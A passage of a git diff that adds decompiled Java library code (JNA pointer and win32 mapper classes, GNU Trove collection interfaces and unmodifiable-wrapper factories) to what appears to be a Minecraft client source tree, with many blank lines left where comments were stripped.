+    return getPointer().getLong(0L);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/ptr/NativeLongByReference.java b/src/minecraft/com/sun/jna/ptr/NativeLongByReference.java
new file mode 100644
index 0000000..c2bec8f
--- /dev/null
+++ b/src/minecraft/com/sun/jna/ptr/NativeLongByReference.java
@@ -0,0 +1,34 @@
+package com.sun.jna.ptr;
+
+import com.sun.jna.NativeLong;
+import com.sun.jna.Pointer;
+
+
+
+
+
+
+
+
+
+public class NativeLongByReference
+  extends ByReference
+{
+  public NativeLongByReference()
+  {
+    this(new NativeLong(0L));
+  }
+  
+  public NativeLongByReference(NativeLong value) {
+    super(NativeLong.SIZE);
+    setValue(value);
+  }
+  
+  public void setValue(NativeLong value) {
+    getPointer().setNativeLong(0L, value);
+  }
+  
+  public NativeLong getValue() {
+    return getPointer().getNativeLong(0L);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/ptr/PointerByReference.java b/src/minecraft/com/sun/jna/ptr/PointerByReference.java
new file mode 100644
index 0000000..bf74949
--- /dev/null
+++ b/src/minecraft/com/sun/jna/ptr/PointerByReference.java
@@ -0,0 +1,39 @@
+package com.sun.jna.ptr;
+
+import com.sun.jna.Pointer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PointerByReference
+  extends ByReference
+{
+  public PointerByReference()
+  {
+    this(null);
+  }
+  
+  public PointerByReference(Pointer value) {
+    super(Pointer.SIZE);
+    setValue(value);
+  }
+  
+  public void setValue(Pointer value) {
+    getPointer().setPointer(0L, value);
+  }
+  
+  public Pointer getValue() {
+    return getPointer().getPointer(0L);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/ptr/ShortByReference.java b/src/minecraft/com/sun/jna/ptr/ShortByReference.java
new file mode 100644
index 0000000..6d63e36
--- /dev/null
+++ b/src/minecraft/com/sun/jna/ptr/ShortByReference.java
@@ -0,0 +1,33 @@
+package com.sun.jna.ptr;
+
+import com.sun.jna.Pointer;
+
+
+
+
+
+
+
+
+
+public class ShortByReference
+  extends ByReference
+{
+  public ShortByReference()
+  {
+    this((short)0);
+  }
+  
+  public ShortByReference(short value) {
+    super(2);
+    setValue(value);
+  }
+  
+  public void setValue(short value) {
+    getPointer().setShort(0L, value);
+  }
+  
+  public short getValue() {
+    return getPointer().getShort(0L);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/win32/StdCall.java b/src/minecraft/com/sun/jna/win32/StdCall.java
new file mode 100644
index 0000000..a0c9684
--- /dev/null
+++ b/src/minecraft/com/sun/jna/win32/StdCall.java
@@ -0,0 +1,7 @@
+package com.sun.jna.win32;
+
+import com.sun.jna.AltCallingConvention;
+
+public abstract interface StdCall
+  extends AltCallingConvention
+{}
diff --git a/src/minecraft/com/sun/jna/win32/StdCallFunctionMapper.java b/src/minecraft/com/sun/jna/win32/StdCallFunctionMapper.java
new file mode 100644
index 0000000..e4dfadb
--- /dev/null
+++ b/src/minecraft/com/sun/jna/win32/StdCallFunctionMapper.java
@@ -0,0 +1,80 @@
+package com.sun.jna.win32;
+
+import com.sun.jna.Function;
+import com.sun.jna.FunctionMapper;
+import com.sun.jna.Native;
+import com.sun.jna.NativeLibrary;
+import com.sun.jna.NativeMapped;
+import com.sun.jna.NativeMappedConverter;
+import com.sun.jna.Pointer;
+import java.lang.reflect.Method;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StdCallFunctionMapper
+  implements FunctionMapper
+{
+  public StdCallFunctionMapper() {}
+  
+  protected int getArgumentNativeStackSize(Class cls)
+  {
+    if (NativeMapped.class.isAssignableFrom(cls)) {
+      cls = NativeMappedConverter.getInstance(cls).nativeType();
+    }
+    if (cls.isArray()) {
+      return Pointer.SIZE;
+    }
+    try {
+      return Native.getNativeSize(cls);
+    }
+    catch (IllegalArgumentException e) {
+      throw new IllegalArgumentException("Unknown native stack allocation size for " + cls);
+    }
+  }
+  
+
+  public String getFunctionName(NativeLibrary library, Method method)
+  {
+    String name = method.getName();
+    int pop = 0;
+    Class[] argTypes = method.getParameterTypes();
+    for (int i = 0; i < argTypes.length; i++) {
+      pop += getArgumentNativeStackSize(argTypes[i]);
+    }
+    String decorated = name + "@" + pop;
+    int conv = 1;
+    try {
+      name = library.getFunction(decorated, conv).getName();
+    }
+    catch (UnsatisfiedLinkError e)
+    {
+      try
+      {
+        name = library.getFunction("_" + decorated, conv).getName();
+      }
+      catch (UnsatisfiedLinkError e2) {}
+    }
+    
+
+    return name;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/win32/StdCallLibrary.java b/src/minecraft/com/sun/jna/win32/StdCallLibrary.java
new file mode 100644
index 0000000..aa514ca
--- /dev/null
+++ b/src/minecraft/com/sun/jna/win32/StdCallLibrary.java
@@ -0,0 +1,30 @@
+package com.sun.jna.win32;
+
+import com.sun.jna.Callback;
+import com.sun.jna.FunctionMapper;
+import com.sun.jna.Library;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface StdCallLibrary
+  extends Library, StdCall
+{
+  public static final int STDCALL_CONVENTION = 1;
+  public static final FunctionMapper FUNCTION_MAPPER = new StdCallFunctionMapper();
+  
+  public static abstract interface StdCallCallback
+    extends Callback, StdCall
+  {}
+}
diff --git a/src/minecraft/com/sun/jna/win32/W32APIFunctionMapper.java b/src/minecraft/com/sun/jna/win32/W32APIFunctionMapper.java
new file mode 100644
index 0000000..c051e03
--- /dev/null
+++ b/src/minecraft/com/sun/jna/win32/W32APIFunctionMapper.java
@@ -0,0 +1,42 @@
+package com.sun.jna.win32;
+
+import com.sun.jna.Function;
+import com.sun.jna.FunctionMapper;
+import com.sun.jna.NativeLibrary;
+import java.lang.reflect.Method;
+
+
+
+
+
+
+
+
+
+
+
+
+public class W32APIFunctionMapper
+  implements FunctionMapper
+{
+  public static final FunctionMapper UNICODE = new W32APIFunctionMapper(true);
+  public static final FunctionMapper ASCII = new W32APIFunctionMapper(false);
+  private final String suffix;
+  
+  protected W32APIFunctionMapper(boolean unicode) { suffix = (unicode ? "W" : "A"); }
+  
+
+  public String getFunctionName(NativeLibrary library, Method method)
+  {
+    String name = method.getName();
+    if ((!name.endsWith("W")) && (!name.endsWith("A"))) {
+      try {
+        name = library.getFunction(name + suffix, 1).getName();
+      }
+      catch (UnsatisfiedLinkError e) {}
+    }
+    
+
+    return name;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/win32/W32APIOptions.java b/src/minecraft/com/sun/jna/win32/W32APIOptions.java
new file mode 100644
index 0000000..234decd
--- /dev/null
+++ b/src/minecraft/com/sun/jna/win32/W32APIOptions.java
@@ -0,0 +1,23 @@
+package com.sun.jna.win32;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public abstract interface W32APIOptions
+  extends StdCallLibrary
+{
+  public static final Map UNICODE_OPTIONS = new HashMap() {};
+  
+
+
+
+
+
+  public static final Map ASCII_OPTIONS = new HashMap() {};
+  
+
+
+
+
+  public static final Map DEFAULT_OPTIONS = Boolean.getBoolean("w32.ascii") ? ASCII_OPTIONS : UNICODE_OPTIONS;
+}
diff --git a/src/minecraft/com/sun/jna/win32/W32APITypeMapper.java b/src/minecraft/com/sun/jna/win32/W32APITypeMapper.java
new file mode 100644
index 0000000..1a30c43
--- /dev/null
+++ b/src/minecraft/com/sun/jna/win32/W32APITypeMapper.java
@@ -0,0 +1,78 @@
+package com.sun.jna.win32;
+
+import com.sun.jna.DefaultTypeMapper;
+import com.sun.jna.FromNativeContext;
+import com.sun.jna.StringArray;
+import com.sun.jna.ToNativeContext;
+import com.sun.jna.TypeConverter;
+import com.sun.jna.TypeMapper;
+import com.sun.jna.WString;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class W32APITypeMapper
+  extends DefaultTypeMapper
+{
+  public static final TypeMapper UNICODE = new W32APITypeMapper(true);
+  public static final TypeMapper ASCII = new W32APITypeMapper(false);
+  
+  protected W32APITypeMapper(boolean unicode) {
+    if (unicode) {
+      TypeConverter stringConverter = new TypeConverter() {
+        public Object toNative(Object value, ToNativeContext context) {
+          if (value == null)
+            return null;
+          if ((value instanceof String[])) {
+            return new StringArray((String[])value, true);
+          }
+          return new WString(value.toString());
+        }
+        
+        public Object fromNative(Object value, FromNativeContext context) { if (value == null)
+            return null;
+          return value.toString();
+        }
+        
+        public Class nativeType() { return WString.class;
+        }
+      };
+      addTypeConverter(String.class, stringConverter);
+      addToNativeConverter(new String[0].getClass(), stringConverter);
+    }
+    TypeConverter booleanConverter = new TypeConverter() {
+      public Object toNative(Object value, ToNativeContext context) {
+        return new Integer(Boolean.TRUE.equals(value) ? 1 : 0);
+      }
+      
+      public Object fromNative(Object value, FromNativeContext context) { return ((Integer)value).intValue() != 0 ? Boolean.TRUE : Boolean.FALSE; }
+      
+      public Class nativeType()
+      {
+        return Integer.class;
+      }
+    };
+    addTypeConverter(Boolean.class, booleanConverter);
+  }
+}
diff --git a/src/minecraft/gnu/trove/TByteCollection.java b/src/minecraft/gnu/trove/TByteCollection.java
new file mode 100644
index 0000000..b594cbe
--- /dev/null
+++ b/src/minecraft/gnu/trove/TByteCollection.java
@@ -0,0 +1,60 @@
+package gnu.trove;
+
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.procedure.TByteProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TByteCollection
+  extends Serializable
+{
+  public abstract byte getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(byte paramByte);
+  
+  public abstract TByteIterator iterator();
+  
+  public abstract byte[] toArray();
+  
+  public abstract byte[] toArray(byte[] paramArrayOfByte);
+  
+  public abstract boolean add(byte paramByte);
+  
+  public abstract boolean remove(byte paramByte);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TByteCollection paramTByteCollection);
+  
+  public abstract boolean containsAll(byte[] paramArrayOfByte);
+  
+  public abstract boolean addAll(Collection<? extends Byte> paramCollection);
+  
+  public abstract boolean addAll(TByteCollection paramTByteCollection);
+  
+  public abstract boolean addAll(byte[] paramArrayOfByte);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TByteCollection paramTByteCollection);
+  
+  public abstract boolean retainAll(byte[] paramArrayOfByte);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TByteCollection paramTByteCollection);
+  
+  public abstract boolean removeAll(byte[] paramArrayOfByte);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/TCharCollection.java b/src/minecraft/gnu/trove/TCharCollection.java
new file mode 100644
index 0000000..c539227
--- /dev/null
+++ b/src/minecraft/gnu/trove/TCharCollection.java
@@ -0,0 +1,60 @@
+package gnu.trove;
+
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.procedure.TCharProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TCharCollection
+  extends Serializable
+{
+  public abstract char getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(char paramChar);
+  
+  public abstract TCharIterator iterator();
+  
+  public abstract char[] toArray();
+  
+  public abstract char[] toArray(char[] paramArrayOfChar);
+  
+  public abstract boolean add(char paramChar);
+  
+  public abstract boolean remove(char paramChar);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TCharCollection paramTCharCollection);
+  
+  public abstract boolean containsAll(char[] paramArrayOfChar);
+  
+  public abstract boolean addAll(Collection<? extends Character> paramCollection);
+  
+  public abstract boolean addAll(TCharCollection paramTCharCollection);
+  
+  public abstract boolean addAll(char[] paramArrayOfChar);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TCharCollection paramTCharCollection);
+  
+  public abstract boolean retainAll(char[] paramArrayOfChar);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TCharCollection paramTCharCollection);
+  
+  public abstract boolean removeAll(char[] paramArrayOfChar);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/TCollections.java b/src/minecraft/gnu/trove/TCollections.java
new file mode 100644
index 0000000..c55e6d7
--- /dev/null
+++ b/src/minecraft/gnu/trove/TCollections.java
@@ -0,0 +1,4805 @@
+package gnu.trove;
+
+import gnu.trove.list.TByteList;
+import gnu.trove.list.TCharList;
+import gnu.trove.list.TDoubleList;
+import gnu.trove.list.TFloatList;
+import gnu.trove.list.TIntList;
+import gnu.trove.list.TLongList;
+import gnu.trove.list.TShortList;
+import gnu.trove.map.TByteByteMap;
+import gnu.trove.map.TByteCharMap;
+import gnu.trove.map.TByteDoubleMap;
+import gnu.trove.map.TByteFloatMap;
+import gnu.trove.map.TByteIntMap;
+import gnu.trove.map.TByteObjectMap;
+import gnu.trove.map.TByteShortMap;
+import gnu.trove.map.TCharCharMap;
+import gnu.trove.map.TCharDoubleMap;
+import gnu.trove.map.TCharLongMap;
+import gnu.trove.map.TCharShortMap;
+import gnu.trove.map.TDoubleByteMap;
+import gnu.trove.map.TDoubleCharMap;
+import gnu.trove.map.TDoubleDoubleMap;
+import gnu.trove.map.TDoubleFloatMap;
+import gnu.trove.map.TDoubleIntMap;
+import gnu.trove.map.TDoubleLongMap;
+import gnu.trove.map.TDoubleShortMap;
+import gnu.trove.map.TFloatByteMap;
+import gnu.trove.map.TFloatCharMap;
+import gnu.trove.map.TFloatDoubleMap;
+import gnu.trove.map.TFloatFloatMap;
+import gnu.trove.map.TFloatIntMap;
+import gnu.trove.map.TFloatLongMap;
+import gnu.trove.map.TFloatObjectMap;
+import gnu.trove.map.TFloatShortMap;
+import gnu.trove.map.TIntByteMap;
+import gnu.trove.map.TIntCharMap;
+import gnu.trove.map.TIntFloatMap;
+import gnu.trove.map.TIntIntMap;
+import gnu.trove.map.TIntObjectMap;
+import gnu.trove.map.TLongByteMap;
+import gnu.trove.map.TLongCharMap;
+import gnu.trove.map.TLongFloatMap;
+import gnu.trove.map.TLongIntMap;
+import gnu.trove.map.TLongLongMap;
+import gnu.trove.map.TLongObjectMap;
+import gnu.trove.map.TLongShortMap;
+import gnu.trove.map.TObjectByteMap;
+import gnu.trove.map.TObjectCharMap;
+import gnu.trove.map.TObjectDoubleMap;
+import gnu.trove.map.TObjectLongMap;
+import gnu.trove.map.TObjectShortMap;
+import gnu.trove.map.TShortCharMap;
+import gnu.trove.map.TShortDoubleMap;
+import gnu.trove.map.TShortLongMap;
+import gnu.trove.map.TShortShortMap;
+import gnu.trove.set.TByteSet;
+import gnu.trove.set.TCharSet;
+import gnu.trove.set.TDoubleSet;
+import gnu.trove.set.TFloatSet;
+import gnu.trove.set.TIntSet;
+import gnu.trove.set.TLongSet;
+import gnu.trove.set.TShortSet;
+import java.util.RandomAccess;
+
+public class TCollections
+{
+  private TCollections() {}
+  
+  public static TDoubleCollection unmodifiableCollection(TDoubleCollection c)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableDoubleCollection(c);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatCollection unmodifiableCollection(TFloatCollection c)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableFloatCollection(c);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntCollection unmodifiableCollection(TIntCollection c)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableIntCollection(c);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongCollection unmodifiableCollection(TLongCollection c)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableLongCollection(c);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteCollection unmodifiableCollection(TByteCollection c)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableByteCollection(c);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TShortCollection unmodifiableCollection(TShortCollection c)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableShortCollection(c);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharCollection unmodifiableCollection(TCharCollection c)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableCharCollection(c);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleSet unmodifiableSet(TDoubleSet s)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableDoubleSet(s);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatSet unmodifiableSet(TFloatSet s)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableFloatSet(s);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntSet unmodifiableSet(TIntSet s)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableIntSet(s);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongSet unmodifiableSet(TLongSet s)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableLongSet(s);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteSet unmodifiableSet(TByteSet s)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableByteSet(s);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TShortSet unmodifiableSet(TShortSet s)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableShortSet(s);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharSet unmodifiableSet(TCharSet s)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableCharSet(s);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleList unmodifiableList(TDoubleList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableRandomAccessDoubleList(list) : new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableDoubleList(list);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatList unmodifiableList(TFloatList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableRandomAccessFloatList(list) : new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableFloatList(list);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntList unmodifiableList(TIntList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableRandomAccessIntList(list) : new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableIntList(list);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongList unmodifiableList(TLongList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableRandomAccessLongList(list) : new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableLongList(list);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteList unmodifiableList(TByteList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableRandomAccessByteList(list) : new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableByteList(list);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TShortList unmodifiableList(TShortList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableRandomAccessShortList(list) : new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableShortList(list);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TCharList unmodifiableList(TCharList list)
+  {
+    return (list instanceof RandomAccess) ? new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableRandomAccessCharList(list) : new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableCharList(list);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleDoubleMap unmodifiableMap(TDoubleDoubleMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableDoubleDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleFloatMap unmodifiableMap(TDoubleFloatMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableDoubleFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleIntMap unmodifiableMap(TDoubleIntMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableDoubleIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleLongMap unmodifiableMap(TDoubleLongMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableDoubleLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleByteMap unmodifiableMap(TDoubleByteMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableDoubleByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleShortMap unmodifiableMap(TDoubleShortMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableDoubleShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TDoubleCharMap unmodifiableMap(TDoubleCharMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableDoubleCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatDoubleMap unmodifiableMap(TFloatDoubleMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableFloatDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatFloatMap unmodifiableMap(TFloatFloatMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableFloatFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatIntMap unmodifiableMap(TFloatIntMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableFloatIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatLongMap unmodifiableMap(TFloatLongMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableFloatLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatByteMap unmodifiableMap(TFloatByteMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableFloatByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatShortMap unmodifiableMap(TFloatShortMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableFloatShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TFloatCharMap unmodifiableMap(TFloatCharMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableFloatCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TIntDoubleMap unmodifiableMap(gnu.trove.map.TIntDoubleMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableIntDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntFloatMap unmodifiableMap(TIntFloatMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableIntFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntIntMap unmodifiableMap(TIntIntMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableIntIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TIntLongMap unmodifiableMap(gnu.trove.map.TIntLongMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableIntLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntByteMap unmodifiableMap(TIntByteMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableIntByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TIntShortMap unmodifiableMap(gnu.trove.map.TIntShortMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableIntShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TIntCharMap unmodifiableMap(TIntCharMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableIntCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TLongDoubleMap unmodifiableMap(gnu.trove.map.TLongDoubleMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableLongDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongFloatMap unmodifiableMap(TLongFloatMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableLongFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongIntMap unmodifiableMap(TLongIntMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableLongIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongLongMap unmodifiableMap(TLongLongMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableLongLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongByteMap unmodifiableMap(TLongByteMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableLongByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongShortMap unmodifiableMap(TLongShortMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableLongShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TLongCharMap unmodifiableMap(TLongCharMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableLongCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteDoubleMap unmodifiableMap(TByteDoubleMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableByteDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteFloatMap unmodifiableMap(TByteFloatMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableByteFloatMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteIntMap unmodifiableMap(TByteIntMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableByteIntMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static gnu.trove.map.TByteLongMap unmodifiableMap(gnu.trove.map.TByteLongMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableByteLongMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteByteMap unmodifiableMap(TByteByteMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableByteByteMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteShortMap unmodifiableMap(TByteShortMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableByteShortMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TByteCharMap unmodifiableMap(TByteCharMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableByteCharMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TShortDoubleMap unmodifiableMap(TShortDoubleMap m)
+  {
+    return new gnu.trove.impl.TUnmodifiableCollections.TUnmodifiableShortDoubleMap(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
